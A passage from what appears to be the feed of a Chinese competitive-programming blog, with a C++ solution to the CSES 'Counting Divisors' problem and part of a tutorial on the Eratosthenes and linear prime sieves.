xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>，還剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li><li>碰到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>了，此時有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span>，所以將ans再乘以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>+</mo><mn>1</mn><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">2+1=3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，得到最終答案為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn></mrow><annotation encoding="application/x-tex">12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span></li></ol><h2 id="ac-code-3" tabindex="-1" id="AC-Code-4">AC Code</h2><blockquote><p>跟他原版程式不太一樣，因為我有用自己的方法再寫一次<br>一是因為不知道這能不能直接轉載<br>二是我不會<code>vector</code></p></blockquote><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> N <span class="token operator">=</span> <span class="token number">1e6</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">int</span> max_prime_factor<span class="token punctuation">[</span>N<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ios<span class="token double-colon punctuation">::</span><span class="token function">sync_with_stdio</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> cin<span class="token punctuation">.</span><span class="token function">tie</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>N<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>max_prime_factor<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span>i<span class="token punctuation">;</span>j<span class="token operator">&lt;</span>N<span class="token punctuation">;</span>j<span class="token operator">+=</span>i<span class="token punctuation">)</span> max_prime_factor<span class="token punctuation">[</span>j<span class="token punctuation">]</span><span class="token operator">=</span>i<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>n<span class="token operator">--</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> x<span class="token punctuation">,</span> mp<span class="token punctuation">,</span> ans<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span> t<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>    cin <span class="token operator">>></span> x<span class="token punctuation">;</span>    <span class="token keyword">while</span><span class="token punctuation">(</span>x<span class="token operator">!=</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      mp <span class="token operator">=</span> max_prime_factor<span class="token punctuation">[</span>x<span class="token punctuation">]</span><span class="token punctuation">;</span>      x <span class="token operator">/=</span> mp<span class="token punctuation">;</span> t<span class="token operator">+=</span><span class="token number">1</span><span class="token punctuation">;</span>      <span class="token keyword">if</span><span class="token punctuation">(</span>max_prime_factor<span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">!=</span> mp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        ans <span class="token operator">*=</span> t<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>        t<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    cout <span class="token operator">&lt;&lt;</span> ans <span class="token operator">&lt;&lt;</span> <span class="token string">"\n"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6-3" tabindex="-1" id="複雜度-4">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-3" tabindex="-1" id="時間複雜度-4">時間複雜度</h3><p>預處理需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N\log\log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>(等我哪天學了Mertens’ second theorem不然我還是不會證)<br>計算正因數個數需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mi>log</mi><mo>⁡</mo><msub><mi>x</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n\log{x_{max}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><br>所以總時間複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo>+</mo><mi>n</mi><mi>log</mi><mo>⁡</mo><msub><mi>x</mi><mrow><mi>m</mi><mi>a</mi><mi>x</mi></mrow></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N\log\log N + n\log{x_{max}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-3" tabindex="-1" id="空間複雜度-4">空間複雜度</h3><p>顯然是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span></span></p><h1 id="%E8%A7%A3%E6%B3%95%E4%BA%94%EF%BC%9A%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E7%A9%8D%E6%80%A7%E5%87%BD%E6%95%B8" tabindex="-1">解法五：線性篩求積性函數</h1><p>想法：用線性篩+動態規劃建表，把所有答案先都算出來<br>請見<a href="/2026/06/11/%E6%BC%94%E7%AE%97%E6%B3%95-%E7%B7%9A%E6%80%A7%E7%AF%A9/#%25E7%25B7%259A%25E6%2580%25A7%25E7%25AF%25A9%25E6%25B1%2582%25E6%25AD%25A3%25E5%259B%25A0%25E6%2595%25B8%25E5%2580%258B%25E6%2595%25B8">[演算法] 線性篩 | R3X’s Blog</a></p><p>這我也是打很久……<br>若有誤歡迎留言指正！</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/11/CSES-Counting-Divisors-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/11/CSES-Counting-Divisors-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-11T05:23:35.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>我把這題想太複雜了……<br>
弄了個爛解</p>
</blockquote>
<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>
<]]>
    </summary>
    <title>CSES - Counting Divisors 題解</title>
    <updated>2026-06-11T05:23:35.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="sieve" scheme="https://r3xdj.pages.dev/tags/sieve/"/>
    <category term="algorithm" scheme="https://r3xdj.pages.dev/tags/algorithm/"/>
    <content>
      <![CDATA[<h1 id="%E5%9F%83%E6%8B%89%E6%89%98%E6%96%AF%E7%89%B9%E5%B0%BC%E7%AF%A9%E6%B3%95" tabindex="-1">埃拉托斯特尼篩法</h1><p>我們從大家國一就學過的<strong>埃拉托斯特尼篩法</strong>開始。<br>維護一個布林陣列<code>not_prime</code>，索引為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>那欄表示數字<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>是否為質數，若為質數則該欄為<code>0</code>，若為合數則為<code>1</code>。</p><blockquote><p>我之所以用0表示質數1表示合數是因為如此可省去初始化填入<code>1</code>的步驟。<br>而<strong>埃拉托斯特尼篩法</strong>的邏輯就是先預設所有數都是質數，再一步步把不是的劃掉</p></blockquote><p>因為大家都學過這個篩法的步驟和原理(去問你國中數學老師)，以下直接上程式</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">Eratosthenes</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  not_prime<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> not_prime<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 將質數加入 prime</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token number">1LL</span><span class="token operator">*</span>i<span class="token operator">*</span>i <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span>i<span class="token operator">*</span>i<span class="token punctuation">;</span> j<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> j<span class="token operator">+=</span>i<span class="token punctuation">)</span> not_prime<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token comment">// 之所以從i*i開始是因為比這個數小的i的倍數i*k (k&lt;i) 都已經被篩過了</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以用 Mertens 第二定理證明其時間複雜度為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n\log\log n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></p><blockquote><p>我不會證</p></blockquote><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9(%E6%AD%90%E6%8B%89%E7%AF%A9%E6%B3%95)" tabindex="-1">線性篩(歐拉篩法)</h1><blockquote><p>因為我這裡卡了很久，所以希望能把它解釋清楚讓更多人能茅塞頓開。</p></blockquote><p><strong>線性篩</strong>是<strong>埃拉托斯特尼篩法</strong>的優化版本。<br>埃拉托斯特尼篩法中，一個合數會被多次篩到，以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>60</mn></mrow><annotation encoding="application/x-tex">60</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">60</span></span></span></span>為例，當迴圈跑到<code>i=2</code>時，會跑一次<code>not_prime[60] = true;</code>，<code>i=3</code>時也會再次執行<code>not_prime[60] = true;</code>，<code>i=5</code>時也會，但除了第一次，之後都只是花時間在做一件已經完成的事情(也就是重複的跑<code>not_prime[60] = true;</code>)。<br>線性篩的想法很簡單：</p><blockquote><p>要是我們能讓每個合數<strong>都只被他<em>最小的質因數</em>篩掉</strong>就好了</p></blockquote><p>如此，篩法的時間複雜度就會降到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></p><h2 id="%E5%8E%9F%E7%90%86%E8%A7%A3%E8%AA%AA" tabindex="-1" id="原理解說">原理解說</h2><p>每個合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>都可以被分解成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub><mo>⋅</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K\cdot i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>的最小質因數。<br>由於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>的最小質因數，為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>最小的非1的因數，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>一定大於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></p><p>我們以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>對合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi></mrow><annotation encoding="application/x-tex">K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span></span></span></span>進行分類，被分到同一類的合數，都能藉由同一個<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 